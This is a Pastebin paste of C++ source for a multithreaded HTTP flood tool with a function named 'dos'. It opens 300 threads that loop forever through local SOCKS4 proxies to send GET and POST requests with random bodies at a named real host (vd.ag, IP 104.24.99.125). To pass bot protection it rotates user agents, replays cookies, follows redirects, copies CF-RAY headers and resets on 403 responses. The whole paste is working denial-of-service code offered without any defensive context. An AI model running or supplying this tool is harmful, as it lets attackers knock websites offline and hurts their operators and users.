Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <iostream>
- #include <cstring>
- #include <ctime>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <pthread.h>
- #include <unistd.h>
- using namespace std;
- typedef struct socks4 {
- unsigned char version;
- unsigned char cmd;
- unsigned short port;
- unsigned int ip;
- unsigned char id;
- } socks4;
- struct arguments {
- int id;
- };
- int connection(const char* ip,int port) {
- int sock=socket(PF_INET,SOCK_STREAM,0);
- struct sockaddr_in addr;
- addr.sin_family=AF_INET;
- addr.sin_port=htons(port);
- addr.sin_addr.s_addr=inet_addr(ip);
- if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==-1) return -1;
- return sock;
- }
- char payloads[300][500];
- void* dos(void* arg) {
- struct arguments* a=(struct arguments*)arg;
- int id=a->id;
- char cookie[300];
- char uagent[6][150]={"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14","Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3","Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)","Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7"};
- char ref[50];
- char ray[70];
- char path[30];
- sprintf(path,"%s","/");
- char ua[150];
- srand(time(NULL));
- sprintf(ua,"%s",uagent[id%5]);
- char buff[1500];
- char method[5];
- char headers[55];
- char data[500];
- while(1) {
- int sock=connection("127.0.0.1",7052+id%40);
- struct timeval tv;
- tv.tv_sec=5;
- setsockopt(sock,SOL_SOCKET,SO_RCVTIMEO,(struct timeval*)&tv,sizeof(tv));
- bzero(&buff,sizeof(buff));
- socks4* socks4hdr=(socks4*)buff;
- socks4hdr->version=4;
- socks4hdr->cmd=1;
- socks4hdr->port=htons(80);
- socks4hdr->ip=inet_addr("104.24.99.125");
- socks4hdr->id=0;
- send(sock,buff,9,0);
- bzero(&buff,sizeof(buff));
- recv(sock,buff,sizeof(buff),0);
- if(buff[1]=='\x5a') {
- bzero(&buff,sizeof(buff));
- if((rand()%10)%2==0) {
- sprintf(method,"%s","GET");
- bzero(&headers,sizeof(headers));
- bzero(&data,sizeof(data));
- } else {
- sprintf(method,"%s","POST");
- snprintf(data,sizeof(data),"%s",payloads[rand()%300]);
- snprintf(headers,sizeof(headers),"Content-Type: text/plain\r\nContent-Length: %d\r\n",strlen(data));
- }
- sprintf(buff,"%s %s HTTP/1.1\r\nHost: vd.ag\r\n%s%s%s%sAccept: */*\r\nUser-Agent: %s\r\nConnection: Keep-Alive\r\n\r\n%s",method,path,headers,cookie,ref,ray,ua,data);
- printf("Posting %d\n",id);
- send(sock,buff,sizeof(buff),0);
- bzero(&ref,sizeof(ref));
- sprintf(path,"%s","/");
- bzero(&buff,sizeof(buff));
- recv(sock,buff,sizeof(buff),0);
- printf("%s\n",buff);
- char* found=strstr(buff,"Set-Cookie: ");
- if(found!=NULL) {
- snprintf(cookie,sizeof(cookie),"%s",buff+4+(int)(found-buff));
- found=strstr(cookie,"\r\n");
- if(found!=NULL) cookie[2+(int)(found-cookie)]='\x0';
- else { bzero(&cookie,sizeof(cookie)); printf("error(cookie)\n"); }
- }
- found=strstr(buff,"Location: ");
- if(found!=NULL) {
- snprintf(ref,sizeof(ref),"Referer: http://vd.ag%s\r\n",path);
- snprintf(path,sizeof(path),"%s",buff+10+(int)(found-buff));
- found=strstr(path,"\r\n");
- if(found!=NULL) {
- path[(int)(found-path)]='\x0';
- found=strstr(path,"vd.ag");
- if(found!=NULL) { snprintf(path,sizeof(path),"%s",path+5+(int)(found-path)); }
- } else printf("error(location)\n");
- }
- found=strstr(buff,"CF-RAY: ");
- if(found!=NULL) {
- char ray_val[60];
- snprintf(ray_val,sizeof(ray_val),"%s",buff+8+(int)(found-buff));
- found=strstr(ray_val,"\r\n");
- if(found!=NULL) { ray_val[2+(int)(found-ray_val)]='\x0'; snprintf(ray,sizeof(ray),"RAY-ID: %s",ray_val); } else printf("error(cf-ray)\n");
- }
- found=strstr(buff,"HTTP/1.1 403");
- if(found!=NULL) {
- sprintf(path,"%s","/");
- bzero(&cookie,sizeof(cookie));
- bzero(&ref,sizeof(ref));
- bzero(&ray,sizeof(ray));
- }
- }
- close(sock);
- }
- }
- int main(int argc,char* argv[]) {
- for(int i=0;i<300;i++) {
- char buff[500];
- for(int j=0;j<500;j++) {
- buff[j]=rand()%256;
- }
- snprintf(payloads[i],sizeof(payloads[i]),"%s",buff);
- }
- int num=300;
- pthread_t threads[num];
- for(int i=0;i<num;i++) {
- struct arguments a;
- a.id=i;
- pthread_create(&threads[i],NULL,dos,(void*)&a);
- }
- for(int i=0;i<num;i++) pthread_join(threads[i],NULL);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement